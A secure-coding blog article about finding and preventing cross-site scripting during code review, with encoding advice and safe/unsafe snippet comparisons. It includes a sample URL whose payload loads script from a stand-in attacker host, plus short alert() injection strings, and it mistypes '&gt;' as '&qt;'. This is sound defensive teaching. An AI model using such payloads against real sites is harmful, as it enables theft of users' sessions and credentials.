Security Code Review 101 — Protecting Against Cross-Site Scripting

How front-end developers can prevent arbitrary injection of JavaScript in modern web applications.

Paul Ionescu
6 min readJun 16, 2019

This article is part of a series. Read the previous article here: Protecting Personal Data

Image showing a Cross-Site Scripting test that inserts arbitrary javascript through the browser address bar.

Web Applications are Ubiquitous

Over the past two decades client applications have evolved from desktop programs to mobile and web applications powered by APIs hosted in the cloud. In fact many mobile applications are rich Web UIs running inside a headless browser.

The browsers have taken the place of the operating system.

The advantages are immense. Applications no longer require installation, can run on any device and can take advantage of public services such as web identity (Google or Facebook OAuth)

JavaScript has become the one language to power all client applications.

About Cross-Site Scripting

JavaScript’s biggest foe is Cross-Site Scripting (abbreviated XSS). This type of attack occurs when a web page accepts input containing JavaScript from an untrusted source and renders it in the context of the page. It’s practically a form of code injection.

The target is the user identity. The server relies on authentication tokens and credentials to identify the user. The malicious script will extract this information from the browser and send it to a site the attacker controls (hence the name Cross-Site Scripting). The script makes it into the page via a specially crafted URL sent to the user (reflected XSS ) or by saving it into the site as an article or message (stored XSS).

Example URL with XSS payload:

https://site.com/search.jsp?q='"/><script src="https://evil.bad/xss.js"></script>

The “attack-gram” below describes the scenario.

Diagram showing a Cross-Site Scripting attack

Code Defenses Against Cross-Site Scripting

To prevent the attack the application must neutralize the user input. Most modern JavaScript frameworks such as Angular and React do this implicitly.

For example the following HTML markup using Angular automatically neutralizes the fullName variable before writing it into the page.

Risks When Extending the Framework

Sometimes you must extend the JavaScript framework by designing your own UI elements. When doing this you must keep in mind that the following page contexts are dangerous since they will execute input as JavaScript.

Dangerous HTML element attributes:

  • innerHTML
  • src
  • onLoad, onClick, etc…

Dangerous functions:

  • eval
  • setTimeout
  • setInterval

Legacy Web Pages

Sometimes you will find yourself in the tricky situation of migrating a legacy enterprise application to a modern UI. In this scenario server side rendered code (JSP, PHP, ASPX) co-exists with modern pages and maintenance of the server side code may introduce new Cross-Site Scripting issues, if user input is not neutralized. In those cases HTML Encoding functions have to be called to turn hazardous HTML markup into safe strings.

< becomes &lt;

> becomes &qt;

" becomes &quot;

Image showing the transformation of hazardous input using HTML Encoding

Spotting Cross-Site Scripting

Let’s take a look at a few samples to understand how to spot Cross-Site Scripting during code review.

The first code snippet is from a server-side Java Servlet Page (JSP). The page is taking a search parameter from a URL like this https://site.com/search.jsp?q=xss . The page then returns an error if the search value was not found by reflecting the value back to the user.

Which code is safe, top or bottom?

JSP side by side comparison of safe and unsafe code inside a div block

If you picked top you were right. The top snippet calls a function to HTML Encode the input before inserting it into the page, while the bottom snippet allows the attacker to insert arbitrary markup such as the <script> tag.

Here’s another version of the same server side generated page. In this case the input is reflected inside the <script> block to save the text of search to a cookie. The developers were aware that this was a risky approach and HTML Encoding was employed in both cases. However one is safer than the other.

JSP side by side comparison of safe and unsafe code inside a <script> block

If you spotted the fact that the bottom example does not neutralize the single quote, good eye! Indeed the attacker could search for';alert('xss');x=' and inject arbitrary code into the page. The top snippet is the safe one.

Let’s take a look at another example this time on the client side. In this case the application is implementing its own client side rendering of the input instead of taking advantage of a JS framework. Can you tell which snippet is safer?

HTML side by side comparison of safe and unsafe code using attributes

If you selected the top again you are right :) ! The bottom snippet is using one of the dangerous HTML element attributes innerHTML. Inserting input in the innerHTML un-sanitized will result in the input being rendered as HTML. In contrast using innerText as in the top example results in the input being displayed as text.

The following example is showing the use of a JavaScript parameterized command. If you have read the article in this series that discusses defenses against Injection you should be familiar with parameterized commands. Can you spot the snippet that leverages this defence?

HTML side by side comparison of safe and unsafe code using setTimeout

This time the bottom example is the safe one. The top snippet allows an attacker to insert arbitrary code by entering a displayName as follows:

";alert("XSS");"

The code at the bottom is safe because the input is passed as a parameter.

To sum it all up

When reviewing a code change that involves the application front end look for the following:

  • Using modern JavaScript frameworks and templating for rendering user input
  • Encoding should be applied to all server side generated content.
  • Additional encoding of single quotes required
  • Dangerous HTML contexts should be handled with care or avoided

Last but not least, Input Validation can greatly reduce the attack surface by defending against a large category of attacks when inputs are known to be alphanumeric.

The next article in the series will cover Indirect Object References. Stay tuned :)

Follow me on Twitter: https://twitter.com/pentesq

Connect on LinkedIn: https://www.linkedin.com/in/pionescu/

--

--

Paul Ionescu

Cyber-security professional and OWASP contributor from Ottawa, Canada. Creator and maintainer of the Secure Coding Dojo open source project.